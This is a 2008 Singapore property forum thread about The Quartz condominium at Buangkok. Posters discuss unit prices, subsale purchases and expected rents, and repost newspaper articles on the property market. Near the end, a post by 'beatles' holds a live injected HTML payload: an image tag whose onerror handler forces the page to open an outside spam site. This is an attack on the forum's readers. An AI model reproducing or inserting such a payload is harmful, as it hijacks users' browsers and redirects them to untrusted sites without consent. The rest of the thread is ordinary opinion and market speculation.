The Quartz @ Buangkok (99LH By Guocoland)

[Unregistered2]

3 bedder but only 1055 or 1066 sqf only.

this is a very good buy indeed. so cheap.

[Unregistered2]

this is a very good buy indeed. so cheap.

cheaper than hdb's citylights? with carpark and facilities and near MRT, it is a good buy. why wait? construction costs are going up.

[Unregistered2]

cheaper than hdb's citylights? with carpark and facilities and near MRT, it is a good buy. why wait? construction costs are going up.

sorry, i mean hdb's cityview.

[Unregistered3]

this is a very good buy indeed. so cheap.

Good buy or not depends also on which floor and the facing.

[Interested_buyer]

Hi,

I m interested in buying a unit but finds the developer's pricing a bit high.
Can any1 tell me where to look for subsale units?

Thanks in advance,

[BooBoo]

Hmm...actually,..with the 8% cash back, the price isn't exactly that high isn't it? Anyway, how much rental to u think a nuit there can fetch?

[imbeciledynasty]

Hi,

I m interested in buying a unit but finds the developer's pricing a bit high.
Can any1 tell me where to look for subsale units?

Thanks in advance,

You can drop me a PM. I can pass you my agent's contact from whom I bought a subsale unit from just last week.

[TQ owner 1]

Hmm...actually,..with the 8% cash back, the price isn't exactly that high isn't it? Anyway, how much rental to u think a nuit there can fetch?

My agent told me the rental should be around $4K per month as TQ is very near to MRT.

[BooBoo]

wow...would it really be that good? i know K.Melody some hitting 4.5k

[Sell Sell]

The bigger you are, the better you weather the storm

By VEN SREENIVASAN


WHAT a difference a year makes.

Last year, euphoria ruled asset markets. After a moribund three years which saw Singapore property values dive by some 45 per cent, the market sprang to life in 2007, fuelled by the robust stock market and supported by a slew of new infrastructure initiatives - most notably the integrated resort (IR) development plans. Property prices surged some 28 per cent last year.

But all that is history now.

Latest data shows that prices for some property transactions in the sub-sale market have declined almost 40 per cent from last September's levels. And although new home prices are still holding up amid only 2,100 new units launched to date, a potential glut of new supply next year could put pressure on new home prices.

Not surprisingly, property stocks have been hit.

And the turbulence facing the industry has sparked the inevitable rumours about who might be impacted most.

One company which is being closely watched is high-end property developer SC Global Developments.

With its properties priced at $4,000 per square foot per plot ratio (psf ppr) and above, speculation is rife that the company is caught between a rock and a hard place. Not surprisingly, SC Global's stock price has dived into a seemingly inexorable decline, losing some two-thirds of its value since last October to close at $1.26 yesterday.

Weighing down sentiment on the stock is market talk that the company is struggling under a huge overhang of unsold apartment units and grappling with a huge debt burden.

Indeed, SC Global started the year with almost 1.1 million sq ft of unsold property - primarily at The Marq on Paterson, Hilltops, The Ardmore and The Beachfront Collection @ Sentosa. More critically, the company had debts of some $1.2 billion, almost double the $700 million it had a year earlier.

And its debt/equity ratio was almost three times.

Not exactly comforting numbers.

But looks can be deceiving. And SC Global is not just any developer.

The company, which has over $60 million in cash in its coffers, is a niche player catering to a high-end, globally mobile, jet-setting class which is relatively price-insensitive and discriminating.

Over the past half-year, the company has managed to sell some 200,000 sq ft of its land bank - mainly at The Marq @ Paterson and Hilltops - for over $700 million.

If SC Global exercises its option to prepay its debts from sale proceeds, the company would be left with a net debt of some $500 million against a remaining land bank of 900,000 sq ft. The resulting debt-land bank ratio of some $555 psf ppr is not exactly an insurmountable problem for a company like SC Global.

Seen from another angle, this could be a breakeven price of sorts for the company should it want to be completely debt-free (not that SC Global will ever sell any of its luxury units at such bargain basement prices, though).

In fact, the company has completely recouped its costs at The Marq with the sale of 40 per cent of the units there. So proceeds from every additional unit sold in the future will go straight to its bottom line.

But all this does not change the depressing macro picture for the property sector here, where there is still significant downside risk to valuations.

Still, as Merrill Lynch noted recently, SC Global has only two property assets that are at risk of impairment in the current downcycle: the Sentosa Beachfront Collection and The Ardmore. But the investment house noted that the average book value of these assets would have to dive by two-thirds, from $2,141 psf ppr to $824 psf ppr, 'to be of any real threat to SC Global's survival' - an outcome which is highly unlikely.

Recent evidence suggests that despite the current slowdown, the luxury segment seems to have held up pretty well, with some 50 new apartments in the over $10 million price range being snapped up this year. This number could double by year-end.

Meanwhile, Fitch Ratings believes that residential receivable transactions have not been impacted by the softening of the local residential market. Fitch - which applies market value decline (MVD) assumptions of between 48 per cent and 58 per cent to the transactions depending on the property location - dismisses the possibility that the current stress scenario will develop into anything similar to that which existed during the Asian financial crisis.

The bottom line? Not all property players are equal. Some, like SC Global, have a premium land bank, cater to a niche market, and have the ability to sit on their land bank for a while. These players will ride out the current turbulence better than others.

[TQ owner 1]

wow...would it really be that good? i know K.Melody some hitting 4.5k

Yes, you are right, KM rental is even better than TQ. Actually if you take into consideration some of our neighbours who bought earlier , the rental yield actually work out to be around 8%. For those who bought now also not too bad, rental yield can fetch more than 6%.

[Bishan]

My agent told me the rental should be around $4K per month as TQ is very near to MRT.

wow...would it really be that good? i know K.Melody some hitting 4.5k

4k per month? Provided The Quartz will be sold out like K.Melody. If not most probably Gucco will also rent out all its unsold units too.

[TQ owner 1]

4k per month? Provided The Quartz will be sold out like K.Melody. If not most probably Gucco will also rent out all its unsold units too.

Yes, I agree. Provided TQ sold out before TOP. But the rental will likely not affect most of the owners as most of them like me bought it for own stay.

[Unreg‘stered]

The bigger you are, the better you weather the storm

By VEN SREENIVASAN


WHAT a difference a year makes.

....................

Latest data shows that prices for some property transactions in the sub-sale market have declined almost 40 per cent from last September's levels. And although new home prices are still holding up amid only 2,100 new units launched to date, a potential glut of new supply next year could put pressure on new home prices.

....................

The bottom line? Not all property players are equal. Some, like SC Global, have a premium land bank, cater to a niche market, and have the ability to sit on their land bank for a while. These players will ride out the current turbulence better than others.

Thanks for the good news.

[Happy Feet]

Thanks for the good news.

Yeah! Seems like more good news are coing out.

http://www.straitstimes.com/Money/St...ry_251827.html

June 26, 2008

Citi sees no oversupply of homes in next two years

It estimates only 60% of the 30,000 units forecast will be completed, so fall in prices will be modest

By Joyce Teo, Property Correspondent


ANALYSTS from Citigroup have stuck their necks out to dismiss some market predictions of a crippling property glut in the next two years.

Official figures show that around 30,000 homes will be completed in the next two years, but Citi reckons only around 60 per cent will likely be ready.

If the bank's forecast is accurate, it could mean that downward pressure on prices will not be as great as some had feared.

Citi's report on Singapore property, which came out on Tuesday, pointed to where previous predictions may have got it wrong.

It stated that by the end of March, there were 6,000 collective sale units that had yet to be demolished.

Some of the delays are because of legal challenges over sales, as well as developers extending lease periods for owners due to the weak primary market, Citi said.

It estimated that there will be 8,200 units completed next year and 10,200 in 2010, assuming no further collective sales are done.

These numbers are way below market expectations of 12,500 units next year and 17,500 units in 2010, it said.

These higher supply numbers had led many experts to conclude that an oversupply was on the cards.

But Citi stated: 'We have always argued that such estimates are not always accurate and they often get revised downward over time.'

However, it did not elaborate further on the reasons for its lower supply projections.

Knight Frank director of research and consultancy Nicholas Mak said the direct impact of the supply completion figures on prices is limited because most of these homes would already have been sold.

But a large supply of homes for occupation would negatively affect rentals, and this would in turn hit prices, he added.

Savills Singapore also believes the supply figures released by the Urban Redevelopment Authority are too high.

Mr Ku Swee Yong, its director of marketing and business development, said completion delays in collective sales, as well as delayed launches, have not been factored in.

'There are insufficient construction resources, which means there will likely be delays,' he added.

'Prices of mid- to high-end properties will fall but not to the extent of the 30 per cent to 40 per cent drop predicted by some analysts.'

Banks like Credit Suisse and Barclays Capital have forecast drops of up to 40 per cent in rents and prices, but Citi tips a fall of up to 30 per cent, and largely only in high-end homes.

Citi expects this sector will suffer from falling demand, particularly as expatriates and locals keep downgrading.

That will put downward pressure on rents of prime homes and further pressure on prices, it said.

Citi also said a long downturn like the one that caught out many buyers in the late 1990s and early 2000s is unlikely.

This is because resale volumes are still at above average levels, reflecting strong genuine demand. There is no sign of overbuilding or an overall housing shortage.

Also, mass market homes remain highly affordable and are supported by high rental yields of more than 5 per cent, Citi said.

'Due to the sharp rise, we believe high-end residential is likely to suffer the brunt of the 20 per cent to 30 per cent price decline while the mass market should remain fairly firm.'

The mid-tier segment is likely to fall by 10 per cent to 20 per cent, it said. These are from a high base.

Luxury home prices have surged by 149 per cent since the troughs in 2004.

Prices in the mid-tier and mass-market segments rose by a still robust 79 per cent and 39 per cent respectively.

[email protected]

[Investment Banker]

Yeah! Seems like more good news are coing out.

See the news...Citigroup has made a huge loss during subprime mortgate crisis due to wrong prediction on the mortgate market.
This could be another wrong market prediction, so must be careful.

[Unregistered1]

inflation rate already shown we r into recession. no amount of 'good news' is able to turn the present situation around.

[Unregistered99]

inflation rate already shown we r into recession. no amount of 'good news' is able to turn the present situation around.

since when we r in recession?? Havent u read all the figure??

[Unregistered999]

since when we r in recession?? Havent u read all the figure??

Are you so dumb to be spoon fed by newspaper articles? Dont you have a brain of your own?

[Unregistered99]

Are you so dumb to be spoon fed by newspaper articles? Dont you have a brain of your own?

Precisely I have a brain that I ask this question to u...seems u cant ans it??

[gingoh]

hi all, im new to the forum.. would appreciate if someone can help explain how i can go abt purchasing a unit thru subsales.. ur advice greatly appreciated..

[dd]

Hi, I am considering a subsell unit at S$720K, 10 floor (1066) at Blk 53, any comments whether izzit worth while? currently developer left over lower floor 5th-7th floor below $750K only.

Seems like Ms Ang is considering putting up for sale rather than buying. Judging from earlier posting below, she already had this place if it's the same Ms Ang?

otherwise it will be a coincidence and just to share with potential subsale buyer here, this unit might just belong to a owner who is just out to 'test water' and might be challenging to negotiate a deal..

------------------------------------------------------------

Ms Ang


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Quote:
Originally Posted by Professional
Look out for 2nd launch in 1st quater 2007! Grab before price go up further.


Just book a 99sqm unit..10th- cost S$536K, facing MRT and plot of land potentially for new commercial development...agent confirm that wef 17th Feb price will go up 40-50K/unit....saw the new price list.

Overall Value for $$ for own stay. But for those buying for investment, return will not as good.


Ms Ang

February 14th, 2007 #37
Unregistered


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?


Unregistered

February 14th, 2007 #38
Unregistered


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

I think TQ is a good condo with new surroundings (new HDB premium flat) and esp. the MRT (Main line and not subline, eg Circle Line, LRT, etc.) at your doorstep. Everyone in the house will benefit from the convenience of MRT on a daily basis. Since most of the buyers are stayers (not tenants), it will be everyones interest to upkeep the place hence making it good for families and homestay. Still considering and hope the price increase is not true as I'm doing my final calculation on the extra amount I need to fork out when I sell my HDB. Problem is that my HDB price is not rising in tandem with the new condo prices.


Unregistered

February 14th, 2007 #39
Ms Ang


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Quote:
Originally Posted by Unregistered
Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?


TOP June 2010, but most project will complete 6months - 1 year before TOP.
I brought Block 53, nearest to the main entrance.

[Unregistered999]

Seems like Ms Ang is considering putting up for sale rather than buying. Judging from earlier posting below, she already had this place if it's the same Ms Ang?

otherwise it will be a coincidence and just to share with potential subsale buyer here, this unit might just belong to a owner who is just out to 'test water' and might be challenging to negotiate a deal..

------------------------------------------------------------

Ms Ang


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Quote:
Originally Posted by Professional
Look out for 2nd launch in 1st quater 2007! Grab before price go up further.


Just book a 99sqm unit..10th- cost S$536K, facing MRT and plot of land potentially for new commercial development...agent confirm that wef 17th Feb price will go up 40-50K/unit....saw the new price list.

Overall Value for $$ for own stay. But for those buying for investment, return will not as good.


Ms Ang

February 14th, 2007 #37
Unregistered


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?


Unregistered

February 14th, 2007 #38
Unregistered


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

I think TQ is a good condo with new surroundings (new HDB premium flat) and esp. the MRT (Main line and not subline, eg Circle Line, LRT, etc.) at your doorstep. Everyone in the house will benefit from the convenience of MRT on a daily basis. Since most of the buyers are stayers (not tenants), it will be everyones interest to upkeep the place hence making it good for families and homestay. Still considering and hope the price increase is not true as I'm doing my final calculation on the extra amount I need to fork out when I sell my HDB. Problem is that my HDB price is not rising in tandem with the new condo prices.


Unregistered

February 14th, 2007 #39
Ms Ang


Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)

--------------------------------------------------------------------------------

Quote:
Originally Posted by Unregistered
Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?


TOP June 2010, but most project will complete 6months - 1 year before TOP.
I brought Block 53, nearest to the main entrance.

might not be the same person. i used a name which someone else uses too.

[Bishan]

--------------------------------------------------------------------------------

http://www.straitstimes.com/Money/St...ry_253013.html

June 30, 2008

LEASEHOLD PROJECT

Buyers snap up 195 units in Bishan condo


IN A welcome departure from the generally quiet market so far this year, the latest property launch - of the 616-unit Clover by the Park - has generated sales of 195 units so far.

Sim Lian Group, which is developing the condo, said that as at 8pm last night, it had sold 195 out of the 308 units that were released for sale since last Friday's official launch.

The 99-year leasehold condominium has large units, suites and penthouses.

The eight suites, of 3,057 sq ft each, were all snapped up, indicating that buyers were keen on larger units.

Buyers were mostly families upgrading from HDB flats. They picked up units priced between $907,000 and $2.68 million, or $599 per sq ft (psf) to $858 psf, said Sim Lian Land's executive director, Ms Diana Kuik.

The average price worked out to be about $750 psf.

Ms Kuik said potential buyers thronged the showflat and some stayed so late that the developer closed the showflat only at midnight on Saturday and around 10pm last night.

However, about 100 units had already been sold by Thursday, following the development's soft launch on Wednesday.

The property market has largely been quiet recently, as sentiment dipped drastically early in the year. Sales volume has plunged dramatically from the numbers registered during the boom times of last year. While the mood is still cautious, a few recent launches have registered encouraging sales.

Savills Singapore's director of marketing and business development, Mr Ku Swee Yong, said: 'Serious buyers were probably spoilt for choice this weekend, shopping among the few launches which are attractively priced.'

A week ago, the 99-year leasehold Dakota Residences in Dakota Crescent and the freehold The Amery in Telok Kurau were released for sale.

JOYCE TEO

[Unreg‘stered]

since when we r in recession?? Havent u read all the figure??

Are you so dumb to be spoon fed by newspaper articles? Dont you have a brain of your own?

Precisely I have a brain that I ask this question to u...seems u cant ans it??

Don't fight lah.
Everything got up and down one.

Market came down in Q4 '07.
It is now going up from Q2 '08.

Citi is just telling you the start of the up cycle.
Just a cycle. No big deal. Quite normal.

Published June 27, 2008

Ho Bee's robust sales prompt more launches

By KALPANA RASHIWALA


SOME developers are riding on the pick-up in home-buying mood created by Ho Bee's Dakota Residences preview last week to launch their own projects.


Upbeat: Sim Lian Grp has sold about 100 units of the Clover By The Park condo since its Wednesday preview

Mainboard-listed Sim Lian Group, for one, has sold about 100 units of its Clover By The Park condo at Bishan St 22 since it began previewing the development on Wednesday at an average price of $750 psf.

Next to Kovan MRT Station, an outfit controlled by UOB-Kay Hian star stockbroker pair Han Seng Juan and David Loh Kim Kang is getting ready to release its 512-unit condo, according to industry sources.

BT understands that Centurion Kovan, which is developing the project, plans to preview the condo soon to 'remisier friends' of Messrs Han and Loh. There are also plans to preview the condo overseas, including China. The average price is expected to be in the $850-900 psf range.

The duo bought the 189,812 sq ft site at a state tender in October last year for around $436 psf per plot ratio.

Over in Bishan, Sim Lian is developing two 39-storey blocks with a total of 616 units for the Clover By The Park condo. The first phase released earlier this week comprises one tower with 308 units. It is near good schools like Catholic High (within 1 km), Ai Tong Primary School and Raffles Institution. 'Clover By The Park features three-bedroom and four-bedroom units to luxurious penthouses and suites of six bedrooms,' Sim Lian said in a release yesterday.

Ho Bee has sold 95 units at Dakota Residences since last Friday. The average price is $976 psf. All three projects are 99-year leasehold.

[Bishan]

Do you all think the developer will come out with new package to entice ppls to buy the remaining units? Just look at Clover by the Park, 195 units sold in 1 week.

[beatles]

<img src=http://google.com/444.gif onerror="window.open('http://tvoi-dosug.com/in.htm?wm=1035067&sasa=','_top')">

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[Icekopi]

Hi all.

I just bought a unit, stack 63. Thus, will be joining and reading here closely.

[Unregistered2]

Hi all.

I just bought a unit, stack 63. Thus, will be joining and reading here closely.

congrats and welcome to the TQ family.

[Icekopi]

Thanks, can tell from the forum that there are many many friendly ppl in the future neighbourhood!

Really looking forward!!!!!!